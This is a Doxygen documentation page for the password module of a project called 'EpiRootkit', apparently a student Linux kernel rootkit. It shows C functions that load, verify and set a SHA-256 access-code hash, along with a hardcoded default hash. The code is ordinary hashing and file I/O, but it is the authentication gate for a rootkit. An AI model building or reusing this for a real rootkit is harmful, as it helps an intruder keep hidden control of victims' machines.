EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
passwd.h File Reference
#include <linux/err.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/types.h>
#include "crypto.h"
Include dependency graph for passwd.h:
This graph shows which files directly or indirectly include this file:

Go to the source code of this file.

Macros

#define PASSWD_HASH_SIZE   SHA256_DIGEST_SIZE
 

Functions

int passwd_load (void)
 
int passwd_verify (const char *password)
 Verify the provided password against the stored hash.
 
int passwd_set (const char *new_password)
 Set a new password by updating the stored hash.
 

Variables

u8 access_code_hash [SHA256_DIGEST_SIZE]
 

Macro Definition Documentation

◆ PASSWD_HASH_SIZE

#define PASSWD_HASH_SIZE   SHA256_DIGEST_SIZE

Definition at line 12 of file passwd.h.

Function Documentation

◆ passwd_load()

int passwd_load ( void  )

Definition at line 22 of file passwd.c.

22 {
23 char *buf;
24 int ret;
25 char cfgpath[256];
26
27 build_cfg_path(PASSWD_CFG_FILE, cfgpath, sizeof(cfgpath));
28
29 ret = _read_file(cfgpath, &buf);
30 if (ret < 0)
31 return ret;
32
33 // Read up to first newline
34 size_t linelen = strcspn(buf, "\r\n");
35 if (linelen != PASSWD_HASH_SIZE * 2) {
36 kfree(buf);
37 return -EINVAL;
38 }
39
40 // Parse hex string into access_code_hash[]
41 ret = hex2bin(access_code_hash, buf, PASSWD_HASH_SIZE);
42 if (ret < 0) {
43 kfree(buf);
44 return -EINVAL;
45 }
46
47 kfree(buf);
48
49 return SUCCESS;
50}
#define PASSWD_CFG_FILE
Definition config.h:64
#define SUCCESS
Definition config.h:5
void build_cfg_path(const char *fname, char *out, size_t sz)
Definition io.c:87
int _read_file(const char *path, char **out_buf)
Definition io.c:12
u8 access_code_hash[SHA256_DIGEST_SIZE]
Definition passwd.c:7
#define PASSWD_HASH_SIZE
Definition passwd.h:12

◆ passwd_set()

int passwd_set ( const char *  new_password)

Set a new password by updating the stored hash.

Parameters
new_passwordThe new password to set.
Returns
0 on success, negative error code on failure.

Definition at line 73 of file passwd.c.

73 {
74 u8 digest[PASSWD_HASH_SIZE];
75 char hexout[PASSWD_HASH_SIZE * 2 + 2];
76 int err, len;
77 char cfgpath[256];
78
79 err = hash_string(new_password, digest);
80 if (err < 0)
81 return err;
82
83 // Update in-memory hash
84 memcpy(access_code_hash, digest, PASSWD_HASH_SIZE);
85
86 // Build hex string and newline
87 hash_to_str(digest, hexout);
88 hexout[PASSWD_HASH_SIZE * 2] = '\n';
89 hexout[PASSWD_HASH_SIZE * 2 + 1] = '\0';
90 len = PASSWD_HASH_SIZE * 2 + 1;
91
92 build_cfg_path(PASSWD_CFG_FILE, cfgpath, sizeof(cfgpath));
93
94 // Write it out
95 return _write_file(cfgpath, hexout, len);
96}
int hash_string(const char *input, u8 *digest)
Hashes a string using SHA-256.
Definition hash.c:17
void hash_to_str(const u8 *digest, char *output)
Converts a SHA-256 hash to a hexadecimal string.
Definition hash.c:74
int _write_file(const char *path, const char *buf, size_t len)
Definition io.c:67

◆ passwd_verify()

int passwd_verify ( const char *  password)

Verify the provided password against the stored hash.

Parameters
passwordThe password to verify.
Returns
1 if the password is correct, 0 if incorrect, or negative error code on failure.

Definition at line 57 of file passwd.c.

57 {
58 u8 digest[PASSWD_HASH_SIZE];
59 int err;
60
61 err = hash_string(password, digest);
62 if (err < 0)
63 return err;
64
65 return are_hash_equals(digest, access_code_hash) ? 1 : 0;
66}
bool are_hash_equals(const u8 *h1, const u8 *h2)
Compares two SHA-256 hashes for equality.
Definition hash.c:60

Variable Documentation

◆ access_code_hash

u8 access_code_hash[SHA256_DIGEST_SIZE]
extern

Definition at line 7 of file passwd.c.

7 {
8 0x5e, 0x7e, 0x56, 0x44, 0xa5, 0xeb, 0xfd, 0x8e, 0x3f, 0xd4, 0x2a,
9 0x26, 0xf1, 0x5b, 0xe3, 0xe7, 0x16, 0x6a, 0xc0, 0x22, 0x53, 0xb5,
10 0xb4, 0x2a, 0x99, 0x43, 0x11, 0xed, 0x09, 0x54, 0x99, 0x9d
11};